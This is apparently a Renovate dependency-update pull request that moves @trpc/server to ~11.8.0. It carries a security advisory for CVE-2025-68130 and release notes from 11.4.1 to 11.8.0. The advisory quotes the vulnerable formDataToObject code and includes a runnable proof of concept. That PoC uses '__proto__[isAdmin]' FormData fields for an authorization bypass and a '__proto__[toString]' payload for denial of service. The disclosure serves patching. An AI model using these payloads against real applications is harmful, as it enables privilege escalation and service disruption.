fix(deps): update dependency @trpc/server to ~11.8.0 [security] - autoclosed

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
@trpc/server (source)	~11.4.0 → ~11.8.0

GitHub Vulnerability Alerts

CVE-2025-68130

Note that this vulnerability is only present when using experimental_caller / experimental_nextAppDirCaller.

Summary

A Prototype Pollution vulnerability exists in @trpc/server's formDataToObject function, which is used by the Next.js App Router adapter. An attacker can pollute Object.prototype by submitting specially crafted FormData field names, potentially leading to authorization bypass, denial of service, or other security impacts.

Affected Versions

• Package: @trpc/server
• Affected Versions: >=10.27.0
• Vulnerable Component: formDataToObject() in src/unstable-core-do-not-import/http/formDataToObject.ts

Vulnerability Details

Root Cause

The set() function in formDataToObject.ts recursively processes FormData field names containing bracket/dot notation (e.g., user[name], user.address.city) to create nested objects. However, it does not validate or sanitize dangerous keys like __proto__, constructor, or prototype.

Vulnerable Code

// packages/server/src/unstable-core-do-not-import/http/formDataToObject.ts
function set(obj, path, value) {
  if (path.length > 1) {
    const newPath = [...path];
    const key = newPath.shift();  // ← No validation of dangerous keys
    const nextKey = newPath[0];

    if (!obj[key]) {  // ← Accesses obj["__proto__"] which returns Object.prototype
      obj[key] = isNumberString(nextKey) ? [] : {};
    }
    
    set(obj[key], newPath, value);  // ← Recursively pollutes Object.prototype
    return;
  }
  // ...
}

export function formDataToObject(formData) {
  const obj = {};
  for (const [key, value] of formData.entries()) {
    const parts = key.split(/[\.\[\]]/).filter(Boolean);  // Splits "__proto__[isAdmin]" → ["__proto__", "isAdmin"]
    set(obj, parts, value);
  }
  return obj;
}

Attack Vector

When a user submits a form to a tRPC mutation using Next.js Server Actions, the nextAppDirCaller adapter processes the FormData:

// packages/server/src/adapters/next-app-dir/nextAppDirCaller.ts:88-89
if (normalizeFormData && input instanceof FormData) {
  input = formDataToObject(input);  // ← Vulnerable call
}

An attacker can craft FormData with malicious field names:

const formData = new FormData();
formData.append("__proto__[isAdmin]", "true");
formData.append("__proto__[role]", "superadmin");

When processed, this pollutes Object.prototype:

{}.isAdmin        // → "true"
{}.role           // → "superadmin"

Proof of Concept

# Step 1: Create the project directory

mkdir trpc-vuln-poc
cd trpc-vuln-poc

# Step 2: Initialize npm

npm init -y

# Step 3: Install vulnerable tRPC

npm install @​trpc/server@11.7.2

# Step 4: Create the test file 

---

Test.js

const { formDataToObject } = require('@​trpc/server/unstable-core-do-not-import');

console.log("=== PoC Prototype Pollution en tRPC ===\n");

console.log("[1] Estado inicial:");
console.log("    {}.isAdmin =", {}.isAdmin);

const fd = new FormData();
fd.append("__proto__[isAdmin]", "true");
fd.append("__proto__[role]", "superadmin");
fd.append("username", "attacker");

console.log("\n[2] FormData malicioso:");
console.log('    __proto__[isAdmin] = "true"');
console.log('    __proto__[role] = "superadmin"');

console.log("\n[3] Llamando formDataToObject()...");
const result = formDataToObject(fd);
console.log("    Resultado:", JSON.stringify(result));

console.log("\n[4] Después del ataque:");
console.log("    {}.isAdmin =", {}.isAdmin);
console.log("    {}.role =", {}.role);

const user = { id: 1, name: "john" };
console.log("\n[5] Impacto en autorización:");
console.log("    Usuario normal:", JSON.stringify(user));
console.log("    user.isAdmin =", user.isAdmin);

if (user.isAdmin) {
    console.log("\n    VULNERABLE - Authorization bypass exitoso!");
} else {
    console.log("\n    ✓ Seguro");
}

Impact

Authorization Bypass (HIGH)

Many applications check user permissions using property access:

// Vulnerable pattern
if (user.isAdmin) {
  // Grant admin access
}

After pollution, all objects will have isAdmin: "true", bypassing authorization.

Denial of Service (MEDIUM)

Polluting commonly used property names can crash applications:

formData.append("__proto__[toString]", "not_a_function");
// All subsequent .toString() calls will fail

---

Release Notes

trpc/trpc (@​trpc/server)

v11.8.0

Compare Source

What's Changed

• feat(server): support streaming in API Gateway REST API by @​anatolzak in #​7039

v11.7.2

Compare Source

What's Changed

• fix(server): missing sse options when using mergeRouter by @​timcole in #​7023

New Contributors

• @​KitsuneKode made their first contribution in #​6975
• @​timcole made their first contribution in #​7023

Full Changelog: trpc/trpc@v11.7.1...v11.7.2

v11.7.1

Compare Source

What's Changed

• fix(tanstack-react-query): keyPrefix of undefined by @​Nick-Lucas in #​6990

New Contributors

• @​theoludwig made their first contribution in #​6906

Full Changelog: trpc/trpc@v11.7.0...v11.7.1

v11.7.0

Compare Source

What's Changed

• fix(client): do not emit "connecting" when initializing websocket subscription by @​hmatthieu in #​6970
• fix(server): Export octet types by @​Nick-Lucas in #​6981
• feat(tanstack-react-query): Add QueryKey and MutationKey Prefix option by @​Nick-Lucas in #​6976

Full Changelog: trpc/trpc@v11.6.0...v11.7.0

v11.6.0

Compare Source

What's Changed

• feat: add precondition required response code by @​y-nk in #​6954
• fix(client): httpBatchStreamLink in React Native "stream ends with TypeError" by @​KATT in #​6960

New Contributors

• @​elrion018 made their first contribution in #​6932

Full Changelog: trpc/trpc@v11.5.1...v11.6.0

v11.5.1

Compare Source

What's Changed

• fix(server): fix property in JSDoc by @​jansepke in #​6928
• fix(server): export DataTransformer interface marked as public by @​BhaskarKulshrestha in #​6927
• fix(client): omit content type header in GET requests by @​anatolzak in #​6914

New Contributors

• @​jansepke made their first contribution in #​6928
• @​BhaskarKulshrestha made their first contribution in #​6927
• @​Strajk made their first contribution in #​6912
• @​cademis made their first contribution in #​6908
• @​iboughtbed made their first contribution in #​6886

Full Changelog: trpc/trpc@v11.5.0...v11.5.1

v11.5.0

Compare Source

What's Changed

• patch: prefer Standard Schema for input/output type inference by @​dzhu in #​6888
• feat(server): expose procedure path in resolver options by @​KATT in #​6902

New Contributors

• @​mrlubos made their first contribution in #​6880
• @​dzhu made their first contribution in #​6888
• @​cristijigau made their first contribution in #​6894

Full Changelog: trpc/trpc@v11.4.4...v11.5.0

v11.4.4

Compare Source

What's Changed

• patch: typescript 5.9 support by @​KATT in #​6877
• fix(client): httpBatchLink with custom transformed object at top level by @​KATT in #​6878
• fix: incompatible types in monorepo due to separate .d.ts for esm/cjs by @​KATT in #​6879

New Contributors

• @​ARAldhafeeri made their first contribution in #​6857
• @​ebg1223 made their first contribution in #​6851
• @​0xlakshan made their first contribution in #​6869

Full Changelog: trpc/trpc@v11.4.3...v11.4.4

v11.4.3

Compare Source

What's Changed

• fix(server): missing export from internal package by @​goszczynskip in #​6838
• fix(server): fix MaxListenersExceededWarning when socket is reused in fastify adapter by @​KATT in #​6842

New Contributors

• @​goszczynskip made their first contribution in #​6838

Full Changelog: trpc/trpc@v11.4.2...v11.4.3

v11.4.2

Compare Source

What's Changed

• fix: set target to ensure we support React Native by @​juliusmarminge in #​6826

Full Changelog: trpc/trpc@v11.4.1...v11.4.2

v11.4.1

Compare Source

What's Changed

• fix: correct order in exports condition by @​juliusmarminge in #​6822

Full Changelog: trpc/trpc@v11.4.0...v11.4.1

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